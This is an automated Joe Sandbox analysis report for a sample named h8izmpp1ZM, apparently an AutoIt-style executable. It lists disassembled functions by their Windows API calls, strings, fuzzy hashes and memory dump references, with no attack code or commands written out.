Instruction Fuzzy Hash: DF21BEB1500308BFEB119B60DC85EBF7BEEEB89745F10412AF805AA240EA248E4597A0

Function 006563E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 005D1D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 005D1D73
Part of subcall function 005D1D35: GetStockObject.GDI32(00000011), ref: 005D1D87
Part of subcall function 005D1D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 005D1D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00656461
LoadLibraryW.KERNEL32(?), ref: 00656468
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 0065647D
DestroyWindow.USER32(?), ref: 00656485

Strings

SysAnimate32, xrefs: 0065643C

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: c36a64550b050c6c5c2577e48787670763e0db54f06a84a6b973e1de6b676e4f
Instruction ID: 86d6e67609ca4210d35238d75cb6353018110534e7125d9099c0ee99e6a2d87d
Opcode Fuzzy Hash: c36a64550b050c6c5c2577e48787670763e0db54f06a84a6b973e1de6b676e4f
Instruction Fuzzy Hash: 17218B71200205BBEF109FA4DC80EBB77EEEB59369F909629FE10972A0D7319C55D760

Function 00636D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00636DBC
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00636DEF
GetStdHandle.KERNEL32(0000000C), ref: 00636E01
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00636E3B

Strings

nul, xrefs: 00636E36

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 47345558d4c6873fc9235e6ae45dc966a3d97203f481c92b21c982b1991aa617
Instruction ID: 108a4b236f78441ad4f90000c349b73de3b843ac5ca40a10f6bf05aac38f7966
Opcode Fuzzy Hash: 47345558d4c6873fc9235e6ae45dc966a3d97203f481c92b21c982b1991aa617
Instruction Fuzzy Hash: 0621A474600309BBDB209F69DC04A9A77F6EF45720F208629FCA1D73D0DB709955CB94

Function 00636E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00636E89
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00636EBB
GetStdHandle.KERNEL32(000000F6), ref: 00636ECC
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00636F06

Strings

nul, xrefs: 00636F01

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: c549eb20af3ef6479cc4ac9d6c3dd4a264148e0524578a415cce653a24fc2ab7
Instruction ID: a372d2c8aaab9ce5e0affe9ec899649c54b784b23b50ed649075cd38edc378bc
Opcode Fuzzy Hash: c549eb20af3ef6479cc4ac9d6c3dd4a264148e0524578a415cce653a24fc2ab7
Instruction Fuzzy Hash: E321D3B9504305BBDB209F69CC04AAA77FAEF44724F208A19FCA0D73D0DB70A955CB90

Function 0063AC40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0063AC54
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0063ACA8
__swprintf.LIBCMT ref: 0063ACC1
SetErrorMode.KERNEL32(00000000,00000001,00000000,0065F910), ref: 0063ACFF

Strings

%lu, xrefs: 0063ACBB

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: d7f0564708f6933fbb0227dbeb64d11f1c00617dbd34f9e0d95fc1d82cc42be9
Instruction ID: 581da37d68bc9be320fa4e87a4a8026a820686adc78b54e337d748175b35ed9b
Opcode Fuzzy Hash: d7f0564708f6933fbb0227dbeb64d11f1c00617dbd34f9e0d95fc1d82cc42be9
Instruction Fuzzy Hash: 36217131A00209AFCB20DF68C945DAE7BB9FF89715F00406AF909EB351DB31EA45DB61

Function 00631142 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0062FCED,?,00630D40,?,00008000), ref: 0063115F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,0062FCED,?,00630D40,?,00008000), ref: 00631184
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,0062FCED,?,00630D40,?,00008000), ref: 0063118E
Sleep.KERNEL32(?,?,?,?,?,?,?,0062FCED,?,00630D40,?,00008000), ref: 006311C1

Strings

@c, xrefs: 0063119D

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID: @c
API String ID: 2875609808-4006484605
Opcode ID: 267d91b188e6fb64aa20ee4fa4e1a52a7214bf529c9916a7f18240d776ce5bdc
Instruction ID: ec0037f8812d06af1dc5022c676ab9615019b8aa5636ec6b575a611c4c65ec2e
Opcode Fuzzy Hash: 267d91b188e6fb64aa20ee4fa4e1a52a7214bf529c9916a7f18240d776ce5bdc
Instruction Fuzzy Hash: A5112A31D01A1DE7CF10EFA5D848AEEBB7AFF0A711F004465EA41BA240CB709550CBE5

Function 00631AE8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00631B19

Strings

KEYS, xrefs: 00631B30
EXISTS, xrefs: 00631B41
APPEND, xrefs: 00631B52
REMOVE, xrefs: 00631B1F

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 7efe0e7b2a34465806d192cab67b72ff82c32024966b10def2419190076f9681
Instruction ID: d59e87f8e86a863cb9787a6ae19783c33e3506659eb76fed0e08c11b48901c10
Opcode Fuzzy Hash: 7efe0e7b2a34465806d192cab67b72ff82c32024966b10def2419190076f9681
Instruction Fuzzy Hash: E5115A3090020D8F8F00EFA4D8658FEBBB5BF66304F544465D8556B692EB325906CB40

Function 0064EB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0064EC07
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0064EC37
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 0064ED6A
CloseHandle.KERNEL32(?), ref: 0064EDEB

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: d109b2789095afb6e7218779c6df8ae0340e5b7db2a1d1917ac97c46133699b9
Instruction ID: ee432c5a9b4b138c46f2b1e90e0dc6111a3d2c54ae738d068f5dbc0fb8dec3b3
Opcode Fuzzy Hash: d109b2789095afb6e7218779c6df8ae0340e5b7db2a1d1917ac97c46133699b9
Instruction Fuzzy Hash: EE8151716047119FD760EF28C846F6ABBE6BF84710F04881EF995DB3D2D671AC418B91

Function 00650037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

Part of subcall function 00650E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0064FDAD,?,?), ref: 00650E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 006500FD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0065013C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00650183
RegCloseKey.ADVAPI32(?,?), ref: 006501AF
RegCloseKey.ADVAPI32(00000000), ref: 006501BC

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 6ead9e2724cf2de4e1a348d4ab1df71462029b7a4d8a7c6aef3f80890e13b1d7
Instruction ID: f16633fa056a32b795ddc037b355221981f5523ec733135599f072497044e468
Opcode Fuzzy Hash: 6ead9e2724cf2de4e1a348d4ab1df71462029b7a4d8a7c6aef3f80890e13b1d7
Instruction Fuzzy Hash: 21517D31208205AFD724EF58CC95E6EBBEAFF84314F44491EF99587291EB31E909CB52

Function 0064D8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 005D9837: __itow.LIBCMT ref: 005D9862
Part of subcall function 005D9837: __swprintf.LIBCMT ref: 005D98AC

LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0064D927
GetProcAddress.KERNEL32(00000000,?), ref: 0064D9AA
GetProcAddress.KERNEL32(00000000,00000000), ref: 0064D9C6
GetProcAddress.KERNEL32(00000000,?), ref: 0064DA07
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 0064DA21

Part of subcall function 005D5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00637896,?,?,00000000), ref: 005D5A2C
Part of subcall function 005D5A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00637896,?,?,00000000,?,?), ref: 005D5A50

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: 579cc4f64282f669cca434d94df3f1940f8dfe2ce98b92af6b235783e251918a
Instruction ID: 6c953e98ddd190339435afd4268e05e01857ea1471efd49c9e4ef7fe8f1e5ca3
Opcode Fuzzy Hash: 579cc4f64282f669cca434d94df3f1940f8dfe2ce98b92af6b235783e251918a
Instruction Fuzzy Hash: 3D511935A0460ADFCB10EFA8C4889ADBBF6FF49310B148066E855AB312DB31ED45CF91

Function 0063E571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 0063E61F
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 0063E648
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0063E687

Part of subcall function 005D9837: __itow.LIBCMT ref: 005D9862
Part of subcall function 005D9837: __swprintf.LIBCMT ref: 005D98AC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 0063E6AC
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0063E6B4

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 61eb3ee459d6f36cb20cc4d6ca6795362bac76ffa3baa3b81ca5faafa1a6f8fb
Instruction ID: a8cfe993c464b723cfa04606f88d0278f56a4f1a467f1c6d658b84140b6f69f9
Opcode Fuzzy Hash: 61eb3ee459d6f36cb20cc4d6ca6795362bac76ffa3baa3b81ca5faafa1a6f8fb
Instruction Fuzzy Hash: E7510C75A00205DFCB11EF68C9859ADBBF5FF49314F148096E909AB362CB31ED51DB60

Function 0065A056 Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bf08f5820b66016c84f4365c9dbe8df1a5d0c8c27c34951655c30e373eb3e29
Instruction ID: 06953fa2b2b4689425471c7daa23b026436b4d37c3fa4d9ee532436d76cde4c3
Opcode Fuzzy Hash: 2bf08f5820b66016c84f4365c9dbe8df1a5d0c8c27c34951655c30e373eb3e29
Instruction Fuzzy Hash: 44419E35904614AFD720DFA8CC48FE9BBAAAB09312F140365ED16A73E1CB30AD59DA51

Function 006263AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 006263E7
TranslateAcceleratorW.USER32(?,?,?), ref: 00626433
TranslateMessage.USER32(?), ref: 0062645C
DispatchMessageW.USER32(?), ref: 00626466
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00626475

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: 6bd98a8a11e4e7aa1298c4f41470671d41142dba8ce44ef4a98f648bc4ea97ca
Instruction ID: 03a5bd61d05c4051b1405b649f0aee16c450186dd73d84c686b0c7739797ef48
Opcode Fuzzy Hash: 6bd98a8a11e4e7aa1298c4f41470671d41142dba8ce44ef4a98f648bc4ea97ca
Instruction Fuzzy Hash: CF310631900A229FDB21DFB0EC44BF67BEFAB00300F109166F462C36A0E7259545CF51

Function 00628A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00628A30
PostMessageW.USER32(?,00000201,00000001), ref: 00628ADA
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00628AE2
PostMessageW.USER32(?,00000202,00000000), ref: 00628AF0
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00628AF8

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 4e7993cf4a47eac1250195e62cafaa4b569fbf67e35fbca135893090e09d613c
Instruction ID: 33984f0faf8db857ec07e552afc23d4ff47ca333acc67920e0987c3d013e7aa1
Opcode Fuzzy Hash: 4e7993cf4a47eac1250195e62cafaa4b569fbf67e35fbca135893090e09d613c
Instruction Fuzzy Hash: DC31AF71501629EFDB14CF68ED48ADE3BB6EB04316F108229F925A72D1CBB09914DF90

Function 0062B1EC Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0062B204
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0062B221
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0062B259
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 0062B27F
_wcsstr.LIBCMT ref: 0062B289

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 9b3c6aa0a3003b067ddb65a575284d0cb9fe5dc8091030e44a1269f197bc9d0d
Instruction ID: 515f6fe3e69f33fa9f3b67cae074a6780fec0c708fc4000db6879e865977e8f3
Opcode Fuzzy Hash: 9b3c6aa0a3003b067ddb65a575284d0cb9fe5dc8091030e44a1269f197bc9d0d
Instruction Fuzzy Hash: 2E216732205715BBEB109B34AC09EBF7F9EDF89710F005039F904CA1A2EF65DD409AA0

Function 0065B14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 005D2612: GetWindowLongW.USER32(?,000000EB), ref: 005D2623

GetWindowLongW.USER32(?,000000F0), ref: 0065B192
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0065B1B7
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0065B1CF
GetSystemMetrics.USER32(00000004), ref: 0065B1F8
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00640E90,00000000), ref: 0065B216

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: a0985a41caf53d30b339df84712c5c8a51451ba75ec5d9655308185b214293c4
Instruction ID: 1fcd687d9693c9fb8eaddaa735316ac78b9b003a3586fa40ca9c9a2c340108d0
Opcode Fuzzy Hash: a0985a41caf53d30b339df84712c5c8a51451ba75ec5d9655308185b214293c4
Instruction Fuzzy Hash: 0421B571910665AFCB209F38DC18AAA3BA6FB05362F145739FD32D72E0E7309915CB90

Function 00629307 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00629320

Part of subcall function 005D7BCC: _memmove.LIBCMT ref: 005D7C06

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00629352
__itow.LIBCMT ref: 0062936A
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00629392
__itow.LIBCMT ref: 006293A3

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: 61b07a80de9781f3a1b7c2921e3cf3328b82f07dcff20341c31bde60d8f5da82
Instruction ID: e99060de8a8a7cff2177e44f4a8ce4fc9f2d97eda3562a385a124e9fc3f54a11
Opcode Fuzzy Hash: 61b07a80de9781f3a1b7c2921e3cf3328b82f07dcff20341c31bde60d8f5da82
Instruction Fuzzy Hash: AD21C831700619ABDB10EB649C89EEE7BAAFBC9710F044026F905D73D1E6708D458BB1

Function 00645A4D Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00645A6E
GetForegroundWindow.USER32 ref: 00645A85
GetDC.USER32(00000000), ref: 00645AC1
GetPixel.GDI32(00000000,?,00000003), ref: 00645ACD
ReleaseDC.USER32(00000000,00000003), ref: 00645B08

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
